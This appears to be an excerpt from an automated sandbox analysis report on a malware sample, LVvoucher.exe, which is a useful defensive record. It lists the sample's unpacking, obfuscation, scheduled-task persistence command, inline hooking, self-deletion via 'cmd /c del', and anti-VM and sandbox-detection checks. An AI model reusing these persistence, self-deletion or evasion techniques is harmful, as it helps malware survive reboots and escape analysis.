Source: Binary string: wntdll.pdb source: LVvoucher.exe, 00000010.00000002.421332683.000000000189F000.00000040.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000010.00000003.358753511.00000000015E0000.00000004.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000010.00000002.421040780.0000000001780000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, cmstp.exe, 00000017.00000002.549866914.000000000488F000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, 00000017.00000002.549751152.0000000004770000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, 00000017.00000003.422848054.00000000045D0000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: cmstp.pdb source: LVvoucher.exe, 00000010.00000002.423242531.0000000001C60000.00000040.10000000.00040000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: LVvoucher.exe, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: UcgxBJ.exe.0.dr, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.2.LVvoucher.exe.be0000.0.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.0.LVvoucher.exe.be0000.0.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 15.0.LVvoucher.exe.300000.2.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 15.0.LVvoucher.exe.300000.0.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 15.2.LVvoucher.exe.300000.0.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 15.0.LVvoucher.exe.300000.1.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 15.0.LVvoucher.exe.300000.3.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 16.0.LVvoucher.exe.cd0000.3.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 16.0.LVvoucher.exe.cd0000.0.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 16.0.LVvoucher.exe.cd0000.9.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 16.0.LVvoucher.exe.cd0000.1.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 16.0.LVvoucher.exe.cd0000.5.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 16.2.LVvoucher.exe.cd0000.1.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 16.0.LVvoucher.exe.cd0000.7.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 16.0.LVvoucher.exe.cd0000.2.unpack, _5ball/Form1.cs .Net Code: Major System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 0_2_013BDCDA pushfd ; ret 0_2_013BDCE1
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 0_2_078333E5 push FFFFFF8Bh; iretd 0_2_078333E7
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00417045 push AE08DEFCh; retf 16_2_00417038
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00417009 push AE08DEFCh; retf 16_2_00417038
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0040F175 push cs; retf 16_2_0040F176
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_004012FB push ebx; ret 16_2_004012FC
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00409BAA push ss; ret 16_2_00409BB0
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00416BAB push es; ret 16_2_00416BB5
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00409BAA push ss; ret 16_2_00409BB0
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041D4B5 push eax; ret 16_2_0041D508
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041D56C push eax; ret 16_2_0041D572
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041D502 push eax; ret 16_2_0041D508
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041D50B push eax; ret 16_2_0041D572
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047ED0D1 push ecx; ret 23_2_047ED0E4
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C89BAA push ss; ret 23_2_02C89BB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C96BAB push es; ret 23_2_02C96BB5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C97045 push AE08DEFCh; retf 23_2_02C97038
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C97009 push AE08DEFCh; retf 23_2_02C97038
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C8F175 push cs; retf 23_2_02C8F176
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9D4B5 push eax; ret 23_2_02C9D508
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9D56C push eax; ret 23_2_02C9D572
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9D50B push eax; ret 23_2_02C9D572
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9D502 push eax; ret 23_2_02C9D508

Persistence and Installation Behavior
barindex
Drops PE files
Source: C:\Users\user\Desktop\LVvoucher.exe File created: C:\Users\user\AppData\Roaming\UcgxBJ.exe Jump to dropped file

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UcgxBJ" /XML "C:\Users\user\AppData\Local\Temp\tmp57C7.tmp

Hooking and other Techniques for Hiding and Protection
barindex
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x85 0x5E 0xEB
Self deletion via cmd delete
Source: C:\Windows\SysWOW64\cmstp.exe Process created: /c del "C:\Users\user\Desktop\LVvoucher.exe"
Source: C:\Windows\SysWOW64\cmstp.exe Process created: /c del "C:\Users\user\Desktop\LVvoucher.exe" Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: 0.2.LVvoucher.exe.2fed0a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.359511322.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.359603340.000000000306C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: LVvoucher.exe PID: 6944, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: LVvoucher.exe, 00000000.00000002.359511322.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000000.00000002.359603340.000000000306C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Source: LVvoucher.exe, 00000000.00000002.359511322.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000000.00000002.359603340.000000000306C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\LVvoucher.exe RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LVvoucher.exe RDTSC instruction interceptor: First address: 0000000000409B7E second address: 0000000000409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmstp.exe RDTSC instruction interceptor: First address: 0000000002C89904 second address: 0000000002C8990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmstp.exe RDTSC instruction interceptor: First address: 0000000002C89B7E second address: 0000000002C89B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\LVvoucher.exe TID: 6948 Thread sleep time: -39532s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe TID: 6968 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4468 Thread sleep time: -7378697629483816s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
